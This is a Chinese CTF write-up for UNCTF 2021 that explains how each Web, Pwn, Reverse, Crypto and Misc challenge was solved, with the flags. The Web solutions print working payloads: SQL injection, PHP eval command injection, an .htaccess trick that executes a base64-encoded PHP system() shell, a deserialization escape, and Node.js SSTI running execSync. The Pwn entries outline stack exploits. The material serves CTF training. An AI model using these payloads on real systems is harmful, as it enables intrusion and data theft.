为响应国家选拔、推荐优秀网络空间安全专业人才,培养学生的创新意识与团队合作精神,提高大学生的网络安全技术水平、创新实践与综合设计能力,推动我国高校网络空间安全专业建设与改革,全国9所高校(闽南师范大学,福州大学至诚学院,重庆大学,陆军工程大学,南京航空航天大学,金陵科技学院,西华大学,浙江师范大学,厦门理工大学)决定组成联合招新赛,秉着公平,公正,公开的原则为本高校选拔网络空间安全专业人才。
竞赛时间
2021年11月28日-2021年12月6日
竞赛平台
自研平台,平台地址:https://ctf.unctf.com/
Rank: 1
# Web
fuzz_md5
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$user=$_GET["user"];
$pass=$_POST["pass"];
$pass2=md5($pass);
$pass3=substr($pass2, 0, 5);
$a=preg_replace("/unctf/i","",$user);
if($a==="unctf"){
if($pass3==="66666"){
echo $flag;
}
else{
echo "welcome to unctf~";
}
}
else{
echo "welcome to unctf~~";
}
user
参数值双写绕过,pass
参数值爆破符合前5位是66666的MD5:
1 | from hashlib import md5 |
Payload:http://xxx/?user=ununctfctf
,POST传参 pass=1004649
。
flag:UNCTF{13875534-9edb-4e2b-b51c-b18091ca1284}
can_you_hacked_me
带黑阔,你能把我骇咯?
www.zip
得到源码。
index.php
:
1 | <html> |
db.sql
:
1 | CREATE DATABASE IF NOT EXISTS supersqli; |
禁用的关键字使得难以进行常规注入,考虑让where条件恒真,username
传入 \
转义后单引号,使 username
的值为 ' and password =
,password
传入异或操作,使总条件恒真,再筛选出第二条数据即可让查询结果为 admin
。
Payload:
http://xxx/?username=\&password=^0 limit 2 offset 1 --+
flag:UNCTF{3abc4508-17c4-488e-9b2b-3fa11fee771c}
phpmysql
你了解flag吗?在根目录哦
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
show_source(__FILE__);
echo("欢迎来到unctf2021,have fun"."<br>");
$db_host=$_POST['host'];
$db_user=$_POST['user'];
$db_pwd=$_POST['pwd'];
$db_port=$_POST['port'];
if($db_host==""){
die("数据库地址不能为空!");
}
if(is_numeric($db_host)){
echo("fakeflag is /flag"."<br>");
if(preg_match("/;|\||&/is",$db_user) || preg_match("/;|\||&/is",$db_pwd) || preg_match("/;|\||&/is",$db_port)){
die("嘉然今天吃什么");
}
system("mysql -h $db_host -u $db_user -p $db_pwd -P $db_port --enable-local-infile");
}
else{
echo("Maybe you can do someting else"."<br>");
if(!isset($db_user) || !isset($db_pwd)){
eval("echo new Exception(\"<script>alert('关注嘉然,顿顿解馋!!!');</script>\");");
}
else{
$db_user = str_ireplace("SplFileObject", "UNCTF2021", $db_user);
eval("echo new $db_user($db_pwd);");
}
}
利用最后 eval("echo new $db_user($db_pwd);");
的拼接特性,用类 DirectoryIterator
列目录后,再RCE。
Payload:
POST传参 host=x&pwd=y&port=z&user=DirectoryIterator("glob:///*");system("cat /fllllaaaaag");//
babywrite
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
highlight_file(__FILE__);
$sandbox = md5($_SERVER['REMOTE_ADDR']);
if (!is_dir($sandbox)) {
mkdir($sandbox);
}
if (isset($_GET['filename']) && isset($_GET['content'])) {
$filename = $_GET['filename'];
$content = $_GET['content'];
if (preg_match_all("/ph|\.\.|\//i", $filename) || strlen($filename) > 10) {
die("No way!");
}
if (preg_match_all("/<\?|ph/", $content)) {
die("No way!");
}
$filename = $sandbox . "/" . $filename;
@file_put_contents($filename, $content);
echo $filename;
}
传入文件名和内容写文件,禁用的关键字禁掉了伪协议、目录穿越、常规PHP头和写PHP文件。
由于sandbox内无现成PHP文件,考虑写 .htaccess
文件将普通文件以PHP文件解析。
文件内无法写入PHP代码,可以先写入base64编码字符串后,再利用 .htaccess
文件伪协议解析即可, .htaccess
文件中的用到的 php
关键字用 \
换行绕过。
.htaccess
文件内容:
1 | AddType application/x-httpd-p\ |
Payload:
http://xxx/?filename=.htaccess&content=AddType%20application/x-httpd-p\%0ahp%20.jpg%0ap\%0ahp_value%20auto_append_file%20"p\%0ahp://filter/convert.base64-decode/resource=1.jpg"
http://xxx/?filename=1.jpg&content=PD9waHAgc3lzdGVtKCJjYXQgL2ZsYWciKTs%2FPg%3D%3D
最后访问 1.jpg
得到flag。
easy_serialize
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
include "function.php";
$action = @$_POST['action'];
$name = $_POST['name'];
$pass = $_POST['pass'];
$email = $_POST['email'];
function filter($file){
$filter_arr = array('flag','php','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$file);
}
$a= $_GET['a'];
$b = $_GET['b'];
$u = new UNCTF($pass,$email,$name);
$s = serialize($u);
switch($action){
case 1:
highlight_file('function.php');
break;
default:
highlight_file('index.php');
}
if(md5($a) == md5($b) && $a !=$b){
unserialize(filter($s));
}
POST传入 action=1
,得到 function.php
源码:
1 |
|
第一层,PHP弱比较特性,数组绕过,传入 ?a[]=1&b[]=2
;
第二层,PHP序列化+反序列化,filter()
删除三种关键字,明显的减字符型反序列化逃逸。
本地测试,先正常POST传值 name=z&pass=x&email=y
,得到序列化字符串:
O:5:"UNCTF":3:{s:4:"pass";s:3:"x";s:5:"email";s:3:"y";s:4:"name";s:3:"z";}
。
观察利用链:类UNCTF
的 __destruct()
中,控制 $this->name
可以触发类 me7eorite
的 __toString()
,控制 $this->class
为新的 me7eorite
对象,避免调用类 UNCTF
的 getShell()
,而调用类 me7eorite
的 getShell()
,再控制 $this->safe
可任意读。
1 |
|
由于能POST传入的只有序列化部分的类 UNCTF
参数,可以通过给 name
传入恶意序列化字符串,serialize()
后截断正常的序列化字符串;给email
传入过滤关键字,filter()
之后使原有长度值与需去除的正常字符串长度相等,保留恶意序列化字符串,最后经 unserialize()
控制反序列化过程完成利用链。
尝试传值:
1 |
|
计算需去除的正常字符串 ";s:4:"name";s:245:"z
长度为21,则使得原有长度值与需去除的正常字符串长度相等,则需要 21/len('php')=21/3=7
个 php
,再将 /etc/passwd
换成 /flag
:
1 |
|
注意 flag
也被过滤,双写绕过即可。
Payload:
http://xxx?a[]=1&b[]=2
,POST传参
name=z";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flflagag";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flflagag";s:5:"class";O:5:"UNCTF":3:{s:4:"pass";s:9:"me7eorite";s:5:"email";s:16:"me7eorite@qq.com";s:4:"name";s:9:"me7eorite";}}}}&pass=x&email=phpphpphpphpphpphpphp
flag:UNCTF{bc9b3f89-bed6-4bc3-a211-b9eed8612af7}
nodejs_ssti
一个输入框和提交按钮,尝试SSTI输入 {{2*3}}
,发现利用点在title值。
尝试 {{print(xx)}}
出现报错:
1 | TypeError: getValue(...) is not a function |
说明代码使用的是soda.js,实际是node.js注入,利用node.js特性使用 child_process
调用 execSync()
方法RCE。
Payload:
http://xxx/who
POST传参 name={{" ".toString.constructor("return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()")()}}&brand=web
flag:UNCTF{45d9452b-630a-4ffa-b963-f0da57cf0e79}
encrypt_login
听说你很擅长撞库?
随便输入用户名密码,返回提示密码为纯数字:
I can tell you my name is admin and my password is made by number only. This time, you can not to buster my password :)
查看源码发现前端加密js文件 encrypto.js
,代码已混淆,根据 jsjiami.com.v6
字样,使用 JSDec 在线解混淆有:
1 | /* |
分析发现,前端输入的账号密码,以 username|-|password
的方式组合后,再经RSA加密得到base64密文。
生成爆破用字典:
1 | import base64 |
最后上Burpsuite,加载新字典dict.txt,爆破拿到flag。
# Pwn
fo
关键代码:
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
checksec发现存在canary,利用leak()
中存在的格式化字符串漏洞泄露canary,再实现ret2text。
Payload:
1 | from pwn import * |
sc
关键代码:
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
read_shell_code()
将输入的shellcode写入bss段 buf
区域,再通过 read()
实现ret2shellcode。
Payload:
1 | from pwn import * |
magic_int
关键代码:
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
c中int取值范围为 -2147483648 ~ +2147483647,而 -2147483648 刚好为取反发生上溢的数,传入即可进入 EDG()
,再ret2text。
Payload:
1 | from pwn import * |
magic_abs
关键代码:
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
构造 v7
和 v5
,使得 (((int)abs32(v5 + v7) >> v7) + 1)
为1,v13
不再随机只能取0,在 record()
中,输入的 s
作为payload复制到 dest
区域,造成栈溢出。
本地测试:
1 |
|
Payload:
1 | from pwn import * |
# Reverse
ezlogin
程序流程识别,算法逆向
login()
中 pqsd`fl{zmpZsag}wdYVkUNC
与 0x16
异或得到 fgervpzml{fLewqkarO@}CXU
,再8位一组上下排列,从上往下取出连成:flag{refOrL@ve}pwCzqXmkU
。
flag:flag{refOrL@ve}
rejunk
垃圾代码混淆,异或算法逆向
查看伪代码发现夹进很多垃圾代码,跟进几行有用的代码:
1 | __main(); |
脚本逆解:
1 | s = list(b'''WQGULxb>2:ooh95=''twk''') |
flag:UNCTF{b781cbb29054db}
py_trade
EZ opcode! Give me your PY, and i’ll give you flag!
还原python字节码:
1 | flag = 'XXXXXX' |
用z3解:
1 | from z3 import * |
flag:unctf{py_Trad3_1s_fuNny!}
ezDriver
你了解过驱动嘛?试试看吧!
分析逻辑,DriverEntry()
-> sub_140086000()
-> sub_140085268()
-> sub_140085000()
-> sub_140085020()
。
主程序逻辑在 sub_140085020()
:
1 | __int64 __fastcall sub_140085020(volatile void *Address, __int64 a2) |
发现通过加密函数 sub_140001000()
后,得到的结果 byte_140083090
与 byte_140003000
作比较。
跟进加密函数 sub_140001000()
,由特征知为XXTEA加密算法,使用的key为 unk_140003030=[1,2,3,4]
。
脚本解密:
1 | def shift(z, y, x, k, p, e): |
flag:unctf{Do_you_want_to_a_cup_of_tea?}
# Crypto
easy_rsa
简单的RSA
1
2
3
4 q= 9961202707366965556741565662110710902919441271996809241009358666778850435448710324711706845973820669201482939820488174382325795134659313309606698334978471
p= 12525187149887628510447403881107442078833803097302579419605689530714690308437476207855511625840027119860834633695330551080761572835309850579517639206740101
c= 28587419802025513525354713621431206010395084854419372005671024739235625817936539010481222419824634956610184430308528941304950093228826213143262329902946812513518444587906469224383320964300417189270202019231856531012143472434842753891213128487132962453421971000901646523331476667655739056951415917218673801225
e = 65537
RSA基操。
1 | q = 9961202707366965556741565662110710902919441271996809241009358666778850435448710324711706845973820669201482939820488174382325795134659313309606698334978471 |
探秘中世纪城堡
贝拉在参观一个中世纪的古堡时,在桌上看到了一串一奇怪的字符和描述。你能帮大聪明破解皇珈骑士留下来的谜团吗?
年轻的大帝率领着64位皇珈骑士冲破了双重阻栏夺下了城池。
AZSLh2OofBA0C2qzi25mg2KsYqW7iCSdDq9aBLKsDBWyi259
ROT21+base64+栅栏2。
flag:UNCTF{subscribe_to_Xiangwandamowang}
分析badusb流量
一日,某企业的安全管理员发现企业中的电脑遭到了badusb的侵害,以下他分离出来的有问题USB流量,而这似乎跟键盘的键位映射有关。
2018 2011 2006 2017 2009 202f 201C 0027 0018 002D 2004 0015 0008 002D 0019 0008 0015 001C 002D 0011 001E 0006 0008 2030
键盘键位映射规则,映射关系参考《USB键盘协议中键码》中的HID Usage ID。
前两位20代表大写,10代表小写,后两位为键码,对照写flag。
flag:UNCTF{Y0u-Are-very-n1ce}
baby_rsa
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18 import gmpy2
import libnum
import random
import uuid
flag="unctf{"+str(uuid.uuid4())+"}"
m=libnum.s2n(flag)
p=libnum.generate_prime(1024)
q=libnum.generate_prime(1024)
n=p*q
e=65537
c=pow(m*p+n,e,n)
print("n=",n)
print("c=",c)
print("e=",e)
#n= 27023180567533176673625876001733765250439008888496677405372613659387969480500400831799338479404533734632060401129194207025095826786316107611502577395964365591899893794206238112244571942694129959717225168573059987542436467778426312967832431595178558711258027999897974942046398583397445299861338203860420721585460676138091828032223153425728023656897880166788811969523526091221520293020106530587453637600349533427641518473788620430866128331962450325767202417824455886116760280239705754222948387172102353564657340216229891342124971948458724351338597649821310431397426705701275774039588035776573373417654649168810548916141
#c= 3489599657527403893851973553294684608504140532554562294027722218597464669848608337663997115805201027340092733823019661706872544231209523772845492398492677185660213963118144668038183924970370481476141221609706208064428560732214361469135212057355342825193598971775551833240699393482839422273480793244841531126642199202744610656153155545415859410361595564197685655133074582118230993519133935533313364233668337427608419528430102794052261190930670933657287272452581248934890029409559234507626012423255430699687038808658327174609660874748540185589263800447650242593224189976058739054174360024536594384447518687126891675059
#e= 65537
$c = (mp+n)^e \% n = p^e(m+q)^e \% n $,
有 $c\%p = p^e(m+q)^e \% p = \Big((p^e \% p)\big((m+q)^e \% p\big)\Big) \% p=0$,
故 $c=kp$,又 $n=pq$,则 $p=\gcd(c,n)$。
求出 $d \equiv e^{-1} \pmod {\varphi(n)}$,可以得到 $m’ = mp+n = c^d \% n$,所以 $m = \cfrac{m’-n}{p}$。
1 | n = 27023180567533176673625876001733765250439008888496677405372613659387969480500400831799338479404533734632060401129194207025095826786316107611502577395964365591899893794206238112244571942694129959717225168573059987542436467778426312967832431595178558711258027999897974942046398583397445299861338203860420721585460676138091828032223153425728023656897880166788811969523526091221520293020106530587453637600349533427641518473788620430866128331962450325767202417824455886116760280239705754222948387172102353564657340216229891342124971948458724351338597649821310431397426705701275774039588035776573373417654649168810548916141 |
flag:unctf{rsa_s1mp1e_0kk}
电信诈骗pro
朕是秦始皇,其实朕没有死,朕在西安兵马俑第四个坑第七排,朕是吃了长生不老药的,朕告诉你啊,朕在陕西有3000吨黄金和300万秦兵被封印,现在只需要30元就能解封,只要你打钱给朕,朕明天直接带部队复活,让你统领三军!建立像古罗马一样的帝国,君无戏言! 朕的账户是
5.#4&;Sw)2Ti%*Sj1eUU9kTwi*Sj)1S"a8S0)6x-8(x7=
flag格式为unctf{}
尝试异或爆破,发现异或0x40有 unctf{.7ir.)ej.*q%..y+.7)j.*iq.b!x.piv8mxh8w}
,说明中间加密方式不同。
提取中间部分尝试出是ROT47+凯撒17:
1 | s='$HXa%:TY$;`6&&h<%H:Y$;X`$Q2g$_XeI\gWIf' |
其中 5Yir6Kej5LqG77yM6YKj5Liq5bCx5pivZmxhZw
base64解码是 别解了,那个就是flag
。
flag:unctf{5Yir6Kej5LqG77yM6YKj5Liq5bCx5pivZmxhZw}
# Misc
简单日志审计
相传,在某一归隐门派的服务器里存在着众多盖世绝学,谁掌握了任一一本绝学谁就能一统CTF江湖,突然有一天门派的长老发现服务器的日志里存在着些许异常,或许这门绝学已经失窃了,请帮帮长老找出失窃的是哪一本绝学吧。flag格式为UNCTF{*}
日志文件里找到base64编码字符串 STAKcDAKMFMnY2F0IC9DVEY/WW91U2hvdUppdVhpbmcnCnAxCjAoZzAKbHAyCjAoSTAKdHAzCjAoZzMKSTAKZHA0CjBjb3MKc3lzdGVtCnA1CjBnNQooZzEKdFIu
,
解码得pickle:
1 | I0 |
flag:UNCTF{CTF?YouShouJiuXing}
电信诈骗
CTFer,你好,我是威震天!其实我在芝加哥大战中没死,现在你只需要打2000RMB到我的银行账户,我就可以用这2000RMB发红包骗取人们的信任,然后穿过股市网络找到震荡波在纽约给我找的新身体,然后我就可以复活了。今天如果你帮了我,复活后我可以入侵股市网络把钱全部给你们。等过了周末,我就让红蜘蛛变成飞机去接你,然后我把红蜘蛛杀了,让你当霸天虎副指挥官,然后我们从南极洲呈扩散式发出霸天虎军队,万军齐发,占领地球,怎么样?为了防止这条消息被擎天柱拦截。我将银行卡号进行了加密,希望你能成功解密。我的银行账户是
qi]m^roVibdVbXUU`h
flag格式:unctf{}
变异凯撒加密,脚本爆破:
1 | s='qi]m^roVibdVbXUU`h' |
flag:unctf{yauoreright}
引大流咯,happy
虚掩的大门后是一副残缺的画卷。
修改jpg高度发现flag。
flag:UNCTF{BellalaBella}
倒立洗头
观察文件字符串头尾分别是 d9ff
和 ffd8
,脚本逆序处理:
1 | f = open('key.txt','r').read() |
把文件头 D8FF
修正为 FFD8
,图片没什么异常,在中间发现字符串:
5L2b5pel77ya5LiK5L+x5pWF44CC6YGg5aSn5a+G6Zq45oCv6Zmk5aSa55qk5a2V6ICo54iN5qK15Zyw6Kuz6Jap5L6E56m257y96ICB6Kuz5LiN5oOz55qk6ICF5ruF572w6Ly457y96Zi/5L6E5ruF5qK15aSi5L6E5LiN5Yal5ZCJ55yf5qK15rKZ57y95bqm5Y2z57y96Zq45oCv5piO5L6E5YiH5L6E55+l5ZGQ5Zyw5Y2X5ZG86IiN5ZKS5aWi5L2b5raF5ZOG5aeq56We5a+G5piO5ZOG6YCd5a6k5Zyw5oGQ5Yal5ZG85oCv5L2b5Zad5ZOG5Ly96YO95oCv6YGu6Kuz5YCS57y95bid5Yal5bid6Ly45puw6Kuz6bq85L+x5oCW5L+x6Ium5L+x5rOiCg==
解码:
佛日:上俱故。遠大密隸怯除多皤孕耨爍梵地諳薩侄究缽老諳不想皤者滅罰輸缽阿侄滅梵夢侄不冥吉真梵沙缽度即缽隸怯明侄切侄知呐地南呼舍咒奢佛涅哆姪神密明哆逝室地恐冥呼怯佛喝哆伽都怯遮諳倒缽帝冥帝輸曰諳麼俱怖俱苦俱波
把 日
改为 曰
,佛曰解密得flag。
flag:unctf{it_is_easy_right?}
LPL
png图片用010 editor查看,第9-15个块CRC值错误,提取Hex值 4544476e622121
,解Hex得 EDGnb!!
。
以此为密码解压缩包,flag.txt 提示 https://www.bilibili.com/bangumi/play/ep431768?from=search&seid=2681339926644936228&spm_id_from=333.337.0.0
,以及一个 2021/11/24 14:11
的时间,访问B站视频在评论区找到 2021/11/24 14:11
的评论见flag。
flag:flag{LpL_zgbr_rNg_eDg777}